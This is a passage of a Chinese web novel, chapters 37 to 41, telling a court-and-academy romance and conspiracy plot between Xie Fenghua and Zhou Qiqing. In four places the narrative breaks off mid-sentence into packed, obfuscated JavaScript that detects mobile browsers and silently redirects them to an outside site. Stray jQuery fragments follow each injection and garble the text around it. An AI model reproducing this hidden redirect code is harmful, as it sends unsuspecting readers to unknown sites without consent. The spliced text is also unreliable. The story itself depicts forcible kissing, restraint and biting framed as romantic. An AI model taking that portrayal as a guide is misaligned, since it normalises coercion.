谢逢华轻笑：“世子这出戏唱得惟妙惟肖，在下迷了眼，辨不清，一时不慎着了道，成了戏中人。怎么如今入戏太深，连世子都分不清戏台和现实了？” 随着话音落下，一种名为“恐惧”的气息萦上心头，周其卿张了张口，千言万语塞在喉咙间，哽得他几乎喘不上气。 “你都知道了。” 谢逢华看着他，只字不言。 她的眼睛里有愤怒，有悲伤，有懊悔，有…… 千丝万绪蒙蔽了她的眼睛，周其卿拨开云雾，却怎么也寻不见自己的身影。 “应时……” “世子该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533633|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唤我学监。” 周其卿抿唇，苦笑：“您说过要利用我的。” “……” 谢逢华垂眸，“我们扯平了。” “一句‘扯平’就把我打发了？”周其卿气极反笑，“谢逢华，分明是你先开的场，现在说走就走，把我当成什么了？” 说着，周其卿上前一步，倏然拉近了二人距离。 “我准你利用，准你踩着我步步登天，准你对我用之如饴，弃之如履，然后呢？我换来了什么？” 少年身形高挑，如今居高临下地看着她，徒增了危险的压迫感。 谢逢华不喜这种压迫，本能想要逃离，却被他按住肩，一阵天旋地转，灼热的气息如夏季潮热，骤然将她包裹在怀中。 “你放开我！” 谢逢华推搡着挣扎，反被后脊的臂膀锢得更紧。 “谢逢华，你利用我时，可曾想过，我也对你图谋不轨？” 想过。 他望向自己的眼神太过炽烈，谢逢华又不是只知读书的呆子，又怎会看不出，这份浓烈暗恋下，那份渗入骨髓的蛊毒般的占有欲。 谢逢华不断劝慰自己，那只是情窦初开的新鲜感，是缺爱者对温暖本能的依恋。 她想过种种，唯独轻视了周其卿的执着和疯狂。 溺水之人握紧唯一的救命稻草，即便那根稻草已溺死湍急的河中。 “我一开始就告诉过你。” 欲望将心脏腐蚀得残朽不堪，所有伪装、乖巧在此刻原形毕露。 谢逢华看着他的双眸，勾起一抹讽刺的笑：“我对你，自始至终，只有利用。” 周其卿也笑了，“谢娘子，您究竟还要骗自己到什么时候？太学千百余人，你偏偏只选择我，偏偏只有你识破了我的伪装，难道不足以证明我们天生契合吗？” “利用又如何，你需要我，恰好我也需要你，为师也好，为夫妻也罢，只要你还在华京，还在大夏，我就有千百种方式将你牵在身边。” 谢逢华瞪大了眼，满脸不可置信：“你简直是个丧心病狂的疯子！” 周其卿只手擒住她的手腕，反制于身后，“怎么，当年打探我的消息时，就没人告诉你，我非广纳河川的君子，而是睚眦必报的小人吗？” 谢逢华咬牙咽下呼之欲出的哀鸣，怒目而视：“你……你都知道……” “起初我以为你只是对我情有独钟，不过章旭告诉我，你给他一笔钱，让他帮你留意太学的周世子。”看着她因疼痛而皱起的眉头，笑意更深，“谢逢华，华京水深，人心更是深不可测，岂是你三言两语便可揣度的。” 周其卿没收力，那力道几乎要活生生捏断她的手腕。 谢逢华被迫弯下腰，额头就势抵在他的肩臂，晕染出一片深色。 “你们，你们是一伙的。” “章家算什么东西，也配得上与我同行？”周其卿垂眸，语气淡如白水。 灵活的指尖嵌入掌心缝隙，稍一用力便撬开她紧握的拳。 一根，两根……直至十指相扣，周其卿侧头，微凉的唇点了点滚烫的耳尖，“谢娘子，小声些，一会儿把人招来，您一张嘴可说不清。” “登徒子……”谢逢华重重喘了一口气，嗤笑道，“惺惺作态，真该让长公主殿下见识见识你这副小人姿态。” 指腹摩挲着她的指节，周其卿沉吟片刻，忽然低低笑了起来。 “谢逢华，我真是……越来越喜欢你了。” 旋即，手上力道骤散。 谢逢华尚未反应过来，腰间忽然收紧，强行撑起她的上半身。 下颌滑上一只粗粝的手，强行扳正她的头。 望着那双半阖的毒眸，谢逢华心中大惊，尚未呼言，湿热唇舌先一步搅入口中，卷走了她所有的声腔。 毒液侵蚀麻痹着谢逢华，使她四肢麻木，渐渐失去外界感知，直教她眼中、言中、耳中乃至心中只有眼前人而已。 38. 第 38 章 “啪！” 谢逢华猛地后退几步，拔下发髻上的银簪，锋芒直指周其卿。 指腹抹去唇边血渍，周其卿勾唇：“谢娘子果真伶牙俐齿。” 谢逢华双唇紧抿，胸腔剧烈起伏，目光却坚定地刺向周其卿，恨不得当即将他扒皮啖肉才好。 看着她这副模样，不知为何，心口竟隐隐酸痛。 周其卿上前一步：“谢娘子……” “滚！”谢逢华后退半步，紧紧攥于掌心的簪子渗出血，却仍没有半分退却的意思，“别让我再看到你。” 看着那根银簪，周其卿挑眉：“你确定这东西能杀了我？” 谢逢华几不可察地笑了下：“你又怎知簪子不能杀人？” 周其卿没接话，反而越发得势，猛地上前几步。 “你既恨我，又为何不直接取了我的性命？”周其卿一眨不眨地盯着她，握住她的手腕，直教锋芒抵住心口，“是不会吗？来，我教你，往这里扎。” 谢逢华欲抽回手，却被他死死攥在掌心。 锋利的针尖刺破青衫，二人无声僵持，谁也不肯落了下风。 眼见衣衫隐有血迹渗出，谢逢华低骂，骤然松了手。 当啷。 银簪落地。 谢逢华甩开他的手，俯身将簪子拾起，用衣袖擦了擦，安插在发髻中。 “舍不得了？”周其卿捂着心口，笑得春风得意。 “我只是不想为你这种人赔上九族。”言尽于此，谢逢华转过身朝屋内走。 周其卿站在原地，半晌都没有动作。 直到谢逢华迈过门槛，周其卿像是意识到什么，哑声开口：“谢娘子，你也要抛下我吗？” 关门的动作凝滞一瞬，谢逢华抬起沉重的眼皮，遥遥与他相望。 他们分明千差万别，可偏偏在周其卿的身上，谢逢华看到了自己的身影。 殊途同归的结局，总是千万般相似。 那年，她又做了什么？ “是你抛下了你自己。”谢逢华说。 — “世子今日心情不大好啊……听说昨夜还受了伤？” “我回来时看到谢娘子打了世子一巴掌，兴许世子还在气头上。” “打打打打世子巴掌？这谢学监不要命了！” “嘘，小声些……谢学监过来了。” 谢逢华并非没听到那两个学子的窃窃私语，只是昨夜翻来覆去没睡着觉，如今昏昏沉沉，实在没什么力气。 “嘴怎么了？”上课前，谢怀世注意到她唇角的结痂，担忧问道。 说话间，周其卿打着哈欠踏入堂内。 “上火了。”谢逢华收回视线，面无表情地说。 谢逢华有意避了周其卿几日。 有时迎面遇到周其卿，谢逢华便佯装没看见，擦肩而过。 每每看到周其卿，谢逢华总能想起那夜的吻。 时光如梭，嘴角的伤痊愈了，心里的空缺却怎么也填不上。 谢逢华唉声叹气，叹得对面人忍无可忍，卷起书朝她脑袋上敲了一下，“吵什么？” 谢逢华捂着脑袋，转头钻进身旁人怀里撒娇：“嫂嫂，容大人又欺负我！” 明玥揉揉她的脑袋，看向怒气冲冲的容舟，笑了笑，继续方才的话题，“离宫宴不足半月，现今再定制一套贵妃礼服，怕是来不及了。” 容舟审阅着账目，若有所思：“皇后和其他妃嫔的礼服都送去了吗？” “送去了，除了几个女眷尺寸不合适需要改制，旁人都没什么问题。” “嗯，你先顾着她们，皇兄那边……”容舟按了按眉心，“晚些时候我再去说情。” “你再说百句，皇帝下的圣旨也不能轻易收回。”明玥道，“况且贵妃多日抑郁寡欢，陛下心急，才想到用百花鸾凤礼服哄贵妃开心。” “百花鸾凤……这名字倒是好听。”容舟嗤笑，“这一件衣裳抵多少户百姓一年的吃食，他分文不出，平白得了个宠妃的好名声。” 明玥摆弄着谢逢华的发丝，没接话。 骂来骂去，也只是无用的宣泄罢了，圣旨即为天，天塌下来砸死的只是任劳任怨干活的百姓，因此骂归骂，事该干还得干。 容舟走后，明玥稍收拾一番，见谢逢华仍趴在桌上不动，不假思索道：“我要去趟周府找崔夫人议事，你要跟来吗？” “……不去。” 谢逢华接过茶盏，朝家仆道了声谢。 “这位便是谢娘子罢。”正座上，崔夫人笑眯眯地打量着谢逢华，眼底的笑意几乎溢出眼眶，“这模样真是可人，何况年纪轻轻便入太学为官，像谢娘子这般人，可不要被那些野男人糟蹋了。” 谢逢华哽了下，想过周家的二夫人心直口快，却从未想过她竟如此直言不讳。 谢逢华顿了顿，道：“崔夫人谬赞，小辈暂时没有成婚的想法。” 明玥轻咳一声，打断了她们生硬的客套，“崔夫人，今日前来，是为贵妃礼服一事。” 接下来的话谢逢华便没再听进去了，一门心思思虑接下来的打算。 周其卿这条路行不通，那便只能靠她自己了。 “很无聊吗？”注意到她玩茶盖的动作，明玥低声问道，“要不你去院子里透透气？” 现在可是休沐时，万一出门遇到周其卿怎么办。 谢逢华觑了眼崔夫人，摇头：“我没事。” 许是察觉到她的小心翼翼，崔夫人道：“今日大夫人与老爷入宫面圣去了，闲着也是无聊，我就让燕儿随着她兄长一起去了。” 明玥附和道：“世子与四小姐感情好，不比我家这两位，多大的人了，天天拌嘴吵架，没一日消停的时候。” 也没有天天吵啊。 有时候不也是直接动手嘛…… 谢逢华暗忖着，忽听崔夫人爽朗地笑声：“哎呦明家主可是抬举他们了，我家这两位也是不省心的主儿。前阵子为了个坠子僵了好几天，那我还是头一次听世子训斥燕儿呢。” 坠子？ 莫非是…… 谢逢华下意识探向耳垂。 该是她想多了罢，周其卿那般护犊子的人，怎么可能帮着外人教训自己的亲妹妹。 “我那弟弟也不省心呐……不过自那年灯会之后，似乎很久没见过三公子了。” 崔夫人轻摇罗扇，眼底浮着怡然的轻快：“早就病死了。” 明玥惊讶：“病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533634|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死了？” 崔夫人道：“去年还是前年来着，得了风寒，一连吃了几天药仍不见好，最后没挺过去，就死了，他的丧事还是我派人操办的。” 谢逢华听得云里雾里，干脆又品起茶，时不时分心听着周府的秘闻，心里打起了算盘。 “好像就是从三公子死后罢，老爷就不许世子参加科考了。” “与世子何干？” “谁知道呢。”崔夫人幽幽叹气，视线绕在谢逢华身上，“要我说呀，从一开始，老爷就没打算让世子做官。” 据崔夫人所言，那周府三公子是周惕守从外面领回来的，彼时长公主失去二公子不满一年，因而十分忌惮这位已有五六岁大的三公子。 周惕守咬死这是他的血脉，却不肯说出其母亲姓氏名谁，容妙凝为此与他吵了一通，最后夫妻不欢而散。 纵使不喜这孩子，念在他年纪尚小，容妙凝并未将自己的不满发泄给孩子，反而好吃好喝养在府中。 那孩子有几分才学，远不及周其卿天生聪慧，但相比事事顺从母亲的周其卿，周惕守还是更偏爱那个无名无分的三公子。 小孩子虽然心智不成熟，却能敏锐感觉到大人的喜怒哀惧。 周其卿觉察到父亲的冷落，委屈地找母亲哭诉。 容妙凝一下下轻拍着儿子的脊背，讲了很多道理，却又好似什么都没说。 因为那时的周其卿根本听不懂。 也就是那时起，父子之间渐行渐远，仅用虚伪的礼数，维系着表面的和谐安定。 “三公子的死本就是意外，可老爷一口咬定是世子下毒害死了他唯一的血脉，无端将世子毒打了一顿。” “若非那时圣上和长公主及时赶来，只怕世子已是半个废人。”情至深处，崔夫人擦了擦眼角并不存在的泪花，“从那日后，世子性情大变，叛经离道不说，就老爷不许他参加科考一事，世子没少与老爷争执，为此吃了不少苦。” 谢逢华忽然觉得胸口有些发闷，就好像被枣糕噎住喉咙，喘不上气。 “应时？”明玥轻拍她的肩，关切道，“身子不舒服吗？脸色很差。” “我……”谢逢华摇头，“我出去透气。” 崔夫人偏头，对身旁侍候的婢女道：“你带谢姑娘从府中转转，谢姑娘喜甜，再着小厨房备些糖糕。” 谢逢华说要出来转转，本就是为逃离压抑的环境随口扯的借口，没成想崔二夫人当了真，派人来守着，反弄得谢逢华浑身不自在。 “你在周府多久了？”花园内，谢逢华没话找话。 “奴家十岁入府，如今已十年了。” 交谈中，谢逢华得知，那婢女名唤秋十，原是周燕飞身边的陪读，后来崔夫人见她干事麻利，便留在自己身边侍奉。 “你手上老茧不多，想必崔夫人待你不错。” “是，”提及崔夫人，秋十的话明显多了些，“两位夫人都是心善之人，不像其他府中随意买卖奴隶，甚至动辄打骂，就连老爷——” “秋十，你在与谁说话？” 两个姑娘同时一惊，循声望去，不知何时，周其卿出现在院外，抱臂倚墙，正含笑看着她们。 准确来说，是盯着谢逢华。 39. 第 39 章 “这位是明家主的小妹，今日明家主寻二夫人议事情，派奴婢带谢娘子出来转转。”秋十打量着周其卿，道，“这才不过一个时辰，世子怎的回来了？” “我没跟着，方才去了趟江月楼。”周其卿说着上前，衣衫裹挟着酒气扑面而来。 谢逢华几不可察地拧了下眉，放缓了呼吸。 平日周其卿与下人们关系不错，因而秋十也没避讳，直言道：“您又去偷喝酒了？若让大夫人知晓，可有的一顿好骂。” 灼热的视线在谢逢华身上逡巡一圈，继而扭向秋十，多了些孩童般的无赖：“秋姐姐不说，谁会知晓？” “你呀。”秋十嗔怪几句，道，“世子先去房中歇着，奴婢这就差人为世子备水。” 周其卿道：“不必，喝的不多，多走走酒气也就散了。” 秋十正欲继续劝说，却见周其卿的目光正黏糊糊裹在谢逢华身上。 谢逢华垂眸望地，耳尖泛着不正常的红。 秋十心下一凉，忙道：“世子，这位是夫人的贵客。” “也是我的老师，”周其卿自然而然接话，紧紧盯着她乌黑的发丝，唇角衔笑，“是不是，谢学监？” 谢逢华险些被口水呛到，含含糊糊应了一声。 秋十犹豫：“可是……” “学生想和自己的老师讨论学业，有什么问题吗？”周其卿义正辞严。 秋十蹙眉，还想说些什么，衣角被人轻轻拽了下。 回头一瞧，是谢逢华。 谢逢华朝她轻轻摇头，道：“世子兴许醉了，我先送世子回房，劳烦秋姑娘煮一碗醒酒汤送到房中。” 能哄住周其卿便已不易，秋十不强求其他，只好点了头。 待秋十走远，谢逢华收回视线，重新看向眼前人，“别装了，说罢，你怎么知道我今天会来周府。” “我不知道。”周其卿低头，闷闷不乐地玩着腰间玉佩，“我只是不想进宫见舅舅，所以偷偷跑出来了。” 见谢逢华半信半疑，周其卿眨眨眼，弯腰虚握住她的手腕，面上浮现一抹罕见无辜和委屈，“谢娘子，我头好疼，给我揉揉好不好？” 这似曾相识的路数…… 谢逢华收回手，板着脸道：“我送你回房。” 周其卿大抵真的醉了，又和那次的醉态不大一样。 直到将周其卿送到房间里，谢逢华仍在怀疑眼前人究竟是真醉还是装糊涂，不然他怎么连一句多余的话都没说，就这么乖乖跟着她回房。 这边谢逢华还在思忖着，全然未主意到身后的门何时关上，周其卿又是何时靠近的。 后脊倏然贴上热度，长臂自后向前绕过胸前，怔愣间，脖颈舔上一股酥麻的湿热。 谢逢华一激灵，旋即肩上一沉，身体便如同被点了穴一般，动弹不得半分。 “谢学监，谢娘子……” 耳畔呼吸如浪翻涌，搅乱了纷繁的思绪。 “谢娘子，你在躲我。” 谢逢华试着挣了下，没挣开，反而箍得越发紧张，险些没被勒死过去。 许久等不到回应，颈间泄出一声自嘲般的闷哼，勒在胸前的力道顺势松了几分，却依旧没有轻易放过她的意思。 细密的吻落在颈侧，有些痒，谢逢华下意识想躲，却忘记身体囿于臂弯之间，这一侧身，颈间的青白丝脉毫无保留地铺展在周其卿眼前。 周其卿舔了舔唇，犬齿毫不犹豫地咬了上去。 “嘶……”如针扎般的刺痛直窜天灵盖，谢逢华眼前一阵黑一阵白，双膝一软，攀着他的手臂，这才堪堪站稳。 谢逢华反手探去，五指穿入身后人的发丝，想把他从身上剥开，不舒服而别扭的姿势反而适得其反，疼痛更甚。 坚硬的齿牙碾磨着细嫩的肌肤，隔着一层薄薄的皮肉，搏动的血脉一下下撞击着锋利的犬牙，似针尖对麦芒的反抗，又似一种无声的安抚。 直到铁锈味冲淡了酒气，蛮横地填满了心中的空缺，周其卿这才大发慈悲，松口放过了那一小块血水交融的皮肉。 “你属野狗的吗？”分不清是气恼还是羞愤，谢逢华捂着伤处，后槽牙咯咯作响，“洒酒疯滚去街上，总折腾我算什么？” 周其卿眨眨眼，澄澈的眼神中带着一丝茫然，“谢娘子，我又弄疼你了吗？” 你也知道啊！ 上次接吻咬破她的唇，这次竟还想直接将她活活咬死，当真是个不知廉耻的疯子。 谢逢华正琢磨用什么东西能快速将人打晕，周其卿忽然握住她的腕，径直贴向他绯红的脸颊，面上还挂着恬不知耻的傻笑：“谢娘子若觉得不公，那你就打我罢，我让你打回来。” 谢逢华冷笑：“世子千金之躯，民女下手没轻没重，打坏了，民女十条命都不够还的。” 周其卿侧头，薄唇轻蹭过沁凉的指尖，含含糊糊地说：“只要谢娘子能消气，一切都是我心甘情愿的，对外只称是我自己摔的，我不说，也无人会问起。” 谢逢华：“……” 谢逢华：“喝了几壶？” 周其卿拉着她的手，傻笑这比了个“一”，道：“一壶醉天仙而已。” 那就是有人在菜里下药了。 难怪几步远的距离都认不出她是谁，原来是喝多了看不清。 也亏得他海量，喝多了还能稳稳当当站在她面前装正经。换做旁人，早就躺在地上鼾声震天了。 谢逢华抽回手，用力在衣裙上蹭了几下。 “我没喝醉。”周其卿狡辩道。 “嗯。” 谢逢华敷衍应声，余光巡视四周，心道要不把他打晕算了。 “谢娘子。”见谢逢华不理他，周其卿不死心地追在她身后，可怜兮兮地唤道，“谢娘子，我错了。” 世子居然也会向人低头认错吗？ 这倒是新奇。 谢逢华放下茶壶，侧目看他：“错哪了。” 周其卿果真低头作出沉思状，好半晌，慢悠悠地挤出几个字：“不知道。” 谢逢华气笑了，重新拾起了茶壶。 似觉察到杀气，周其卿忙按住她蠢蠢欲动的手，嗫嚅着开口：“是，是没人教我，我不是有意弄疼您的。” 他说的前言不搭后语，谢逢华听得脑仁胀痛：“你说什么呢……” 周其卿置若罔闻，说话间，人已紧紧贴上谢逢华的身体，“谢娘子，我不懂事，您教教我，好不好？” 后腰抵在桌沿，硌的有些疼。 周其卿俯身向下的刹那，谢逢华顿时惊起一身鸡皮疙瘩。 “周其卿！”谢逢华捂住他的唇，恼羞成怒，“我教不了你。” 周其卿迷惘地盯着她，谢逢华尚且不知该如何打消他那些想法时，手心倏然传来一阵生痒的湿濡。 谢逢华如被火灼，立刻抽回手，藏在身后。 “谢娘子，谢逢华，应时……教教我……到底怎么样，你才能喜欢我……” 周其卿全然不觉自己做了什么，舔了舔唇，俯首埋于她的颈窝间，喃喃念着她的名字。 腰侧抵上他的小臂，一声声的低喃灌入耳中，燥热的身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533635|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无端生起一股冷寒。 前后退路皆被堵死，谢逢华轻咬舌尖，强迫自己冷静下来，重新正视眼前人。 “周其卿。”谢逢华扶上他的脸颊，轻轻托起他的头，温柔诱哄道，“看着我。” 汗水洇湿了他的双眸，揉化了往日的锋锐，如今的他，不过是任人蹂.躏的幼犬，讨好地在主人手下乞食。 指尖拨开汗透的发丝，谢逢华道：“你听不听我的话？” 周其卿乖乖点头。 “那你回去睡觉好不好？” 周其卿抬眼想了想，摇头。 谢逢华额角突突跳，却还是耐着性子哄道：“不是说想知道如何让喜欢你吗？只要你乖乖去睡觉，我就告诉你法子。” 周其卿眼睛亮了一瞬：“当真？” 当然是假的。 谢逢华撑起笑意：“君子一言，驷马难追。” 她是女子，又不是君子。 好在如今的周其卿醉意熏闹，一时也没顾上话里话外的弯弯绕绕，憨笑几声，果真朝着床榻走去。 摇摇晃晃走了两步，又忽然回过头：“你反悔怎么办？” “我这几日都宿在太学，你尽管来寻我就是。”谢逢华信誓旦旦地说。 他若酒醒后来寻，想法子赖掉就是了，无凭无据，说出去谁会信。 周其卿脱了鞋袜，坐在床榻上，忽然没了下一步动作。 “怎么了？”谢逢华问道。 周其卿看向她：“谢娘子当真厌恶我吗？” 要知道他这么麻烦，方才真该一水壶把他砸晕。 见谢逢华迟迟不接话，周其卿急得从床上跳起来：“我就知道你在骗我！你个满口谎话的骗子，嘴里没一句真话！” 眼见他又要下床来抓她，谢逢华手脚并用，用尽力气才将他按回床上，哀求道：“不讨厌不讨厌，求你了，歇会儿罢我的祖宗。” 周其卿揪住她的衣袖，“不讨厌为什么不吻我？不讨厌为什么要躲着我？” 要不是房中没有针线，谢逢华必定要在他嘴上缝个止音符，封住他的嘴。 “谢姑娘？”门外忽然传来秋十担忧的声音，“奴婢熬了醒酒汤，要现在送进去吗？” 谢逢华四下环顾，眼疾手快扯过被褥，三下五除二裹住周其卿的脑袋，将还在褪壳的“蚕蛹”往床上一推，利落起身，整理衣衫。 “进来罢。” 秋十推门进来，看看衣衫散乱，狼狈从被子里钻出来的周其卿，又瞧瞧淡定自若整理衣裙的谢逢华，心下有了几分不堪的揣测。 好在经方才折腾，已耗尽了周其卿全部气力，又碍着秋十在场，他没再胡闹，老老实实饮了汤，更衣睡下了。 秋十端着空碗从屋内出来，朝谢逢华施礼：“谢姑娘，世子睡下了。” 谢逢华如释重负：“那就好。” 目光扫过谢逢华的肩颈，秋十犹豫，道：“方才世子多有冒犯，还望谢姑娘莫要挂在心上。” 谢逢华不动声色，将衣领向上拽了拽，遮住了齿痕。 秋十道：“奴婢去给姑娘找些敷药，伤浅，想必不会留疤。” “不必了。”谢逢华平静地说，“方才是私事，还望秋姑娘替我保密，不要让第三人知晓。” 秋十愣了下，像是忆起什么，颔首：“谢姑娘放心，世子醉酒后不记事，问起直说是奴婢送回来的，与姑娘无关。” 谢逢华点点头：“多谢。” “姑娘客气了，这都是婢子们该做的。”秋十说，“日头不早了，奴婢送姑娘回去罢。” 40. 第 40 章 经与崔夫人商议，明玥决定带头领命，并亲自前往绢纺督工。 术业有专攻，商贾之事，谢逢华学得一知半解，又有周其卿的事在先，因而路上并未多问。 到了明府，谢逢华裹紧披风，连招呼都顾不得打，匆匆跑回自己房中。 明玥自未出周府便已注意到谢逢华的异样，问了几句，谢逢华遮遮掩掩不愿透露半分。 见状，明玥也只好作罢。 “这个混蛋……” 铜镜里，削瘦的肩胛上，一排齿印清晰可见。 谢逢华从房中寻出药箱，挑挑捡捡，一时不知该用什么药。 早知如此，就不该心软送他回房。 谢逢华摸出骨牙色瓷瓶，往伤处倒了些药粉，用帕子热敷片刻，待伤处没那么灼烫了，打了盆清水，将残留的药粉冲洗干净。 晚膳时，一早就出门的谢怀世却迟迟未归。 派出去寻人的仆从们个个无功而返，明玥等得有些焦急，正想亲自去找，门外忽然传来家仆欣喜的传唤：“家主，人回来了！” 人是回来了，可却是被刘尽才搀扶着回来的。 谢怀世满脸绯红，路都走不稳，却固执地与刘尽才勾肩搭背，醉醺醺地说着胡话：“幸得刘博士……晚辈有幸，得以……与故人……重逢……” 可怜刘尽才，一把老骨头快被谢怀世压断了，还要分心应和他：“直正帮过老夫，受人恩惠，自当以回报。” 明玥忍着酒气，和几个家仆艰难扶起几乎昏厥的谢怀世。 “这是怎么了？”明玥担忧道，“怎么喝成这幅模样？” 刘尽才颤巍巍谢过谢逢华递来的帕子，擦了擦额角的汗，“嗐，难得得空，老夫便想和谢学正叙叙旧，没想到感上心头，一时忘了时辰，还望明家主勿怪。” “怎么会。”明玥摆手让家仆送谢怀世回房，“刘博士既然来了，不如来房中喝盏茶，歇歇脚？” “明家主好意老夫心领了，只是家中尚有妻儿，实在不便久留。” 二人寒暄几句，刘尽才便离开了。 夜空中，遥遥传来谢怀世的鬼嚎：“月儿——” 谢逢华一激灵，惊恐地四下张望：“什么死动静？” 明玥揉了揉眉心：“应时，去送送刘博士。” 看着明玥怒气冲冲朝着屋内奔去，谢逢华缩了缩脖子，朝着府外走去。 刘尽才上了年纪，腿脚不大方便。 谢逢华没费什么力气就追上了他，默默跟在几步远的地方。 刘尽才没有坐马车或者轿辇，穿过人海，徒步走了很远的路。 直到走到芳春楼附近，弯着的腰板忽然挺拔如松。 谢逢华正奇怪他为何会来芳春楼，就见刘尽才大摇大摆走进芳春楼，进门时，熟稔地将一个招客的舞娘揽入怀中，笑得嘴角咧到耳根。 谢逢华：“……” 谢逢华揉了揉眼，直到清清楚楚看到刘尽才实打实亲了那舞娘一口，谢逢华想把自己眼睛挖出来的心都有。 刘尽才可是太学出了名的洁身自好，怎会突然来着烟花之地？ 眼见刘尽才彻底消失在视线内，谢逢华也顾不得其他，正想提裙追上去，忽而人群中一道玄色身影吸引了她的目光。 那人头戴纬帽，状似低调潜藏人群之中，可他身上昂贵的锦缎还是揭示了此人的尊贵。 谢逢华环顾四周，不知何时，人群中多出几个徘徊的鬼祟身影。 倒不是她多疑，只是那些人身形要比寻常屠户还要健壮，看似无意游荡，实则鹰似的眼眸一直盘桓在那位贵人附近。 是暗杀他的杀手，还是保护他的暗卫？ 无论是哪种，谢逢华都不便继续跟过去了。 目送那人消失在歌乐舞声中，谢逢华深吸一口气，转身离开。 “你来晚了。” 舞女接下一枚金豆子，恋恋不舍地离开了。 刘尽才把一盏酒推到周惕守面前：“你猜的不错，陈言意死前的确给谢怀世传过几封信。” 周惕守摘下帷帽放在一旁，落座饮酒，漫不经心问道：“信中写了什么？” “不过都是些才子伤春悲秋之言，不值一提。” 美酒下肚，舌尖却无滋无味，周惕守狐疑道：“没说那些事？” 刘尽才摆手：“他既敢拿出来光明正大的摆在明面上，想必那信里没您想要的东西。” “我说周大人，会不会是您多虑了？”周惕守神色不虞，刘尽才三指指天，信誓旦旦，“下官保证，那把火烧得绝对干净，别说一封信，就算是他起死回生，也绝不可能翻了这天。” 周惕守冷笑：“我先前就与你说，绝对不能让陈言意活着走出阳城，我问你，他人死了，那信是怎么送出阳城的？” 刘尽才道：“这个下官打听过了，那些信是谢怀世的妹妹上京时候带去的。” “谢逢华？”周惕守抬眼，颇为讶异，“她见过陈言意？” “兴许见过照面……这个谢怀世也不大知情。”刘尽才道，“不过谢怀世说，据谢逢华所言，那信是陈言意临走前交由她的——陈言意在阳城滞留四日，这时间倒也对的上。” 可既是交由谢怀世的，那信里又为何只叙情谊，对那些事绝口不提呢？ 是想死守秘密，还是另有打算？ 周惕守摩挲着杯沿，“上京后，谢逢华还曾见过别的人吗？” “周大人是指……” “国子监祭酒，或者陈言意往昔的同僚。” 自那次事变后，陈言意身边人死的死逃的逃，哪里还有同僚可言。 刘尽才腹诽着，嘴上回道：“这个下官不知，不过听容大人说，国子监那位陈大人对谢逢华态度很差，那位陈大人的脾气您也是晓得的，不大能瞧得上谢逢华这类攀附名利的女子。” 周惕守望着跃动的烛火，眼底晦暗不明。 屋内顿然陷入死寂，刘尽才琢磨着上官的意图，一时也没了喝酒的心思。 “罢了。”周惕守道，“这几日你再去探探谢怀世的口风，若信中如他所言也就罢了，万一他知道些什么，此人……也就留不得了。” 热酒暖身，刘尽才却无端渗出一身冷汗。 刘尽才唯唯诺诺应下，复问道：“谢逢华那边……” “派人盯着。” 周惕守放下酒盏，起身整衣，复又戴好帷帽，“春闱将近，处处都有人盯着，尚且不要打草惊蛇。” 刘尽才道：“若谢家当真与陈党勾结呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你有事寻我吗？”周其卿开口。 谢逢华茫然：“什么？” 似乎是有些冷，周其卿朝手心哈了口热气。 白雾从指尖溢出，眼底凝成碎冰，“我记得，你说让我来太学寻你。” “……” 秋十分明说周其卿酒后不记事，眼下又是什么情况？ 谢逢华咽了咽口水，道：“世子做梦了罢，我未曾说过这种话。” 周其卿脸上浮现一丝迷惘：“前几日你没去过周府吗？” 看来是记得些。 意识到他并非完全记住那日的情形，谢逢华很快镇定下来，“去过，但我那时一直待在嫂嫂身边，未曾见过世子，不信，可以去问崔二夫人。” “可……”周其卿拧着眉，不死心道，“可我分明记得，是你将我送回房中，我还——” 藏在衣袖中的手隐隐颤抖，谢逢华别过视线，望向满天纷扬的碎玉，“兴许是世子执念太深，倒是分不清幻梦与人间了。” 执念……太深吗？ 周其卿喃喃，像是想劝说自己放下执念，又像是不肯相信一切皆梦。 人呐，总是学不会放下。 谢逢华笑了笑，抬手拂去他发梢晶莹：“世子若得闲，不如陪我四处走走罢。” 41. 第 41 章 又逢季度末，容舟照例前往宫中述职。 过了正阳门便不许乘坐马车，容舟留了马车和婢女在外，独身踏上官道。 些许宫女太监沿途清扫厚雪，沙沙的扫地声在寂寥的宫墙内荡漾。 容舟裹紧大氅，慢慢走着。 “殿下。”身后蓦然传出一声愉悦的呼唤。 循声望去，段恒满面红光，兴奋地朝她招呼着，身侧还站了个黑脸的陈元邑。 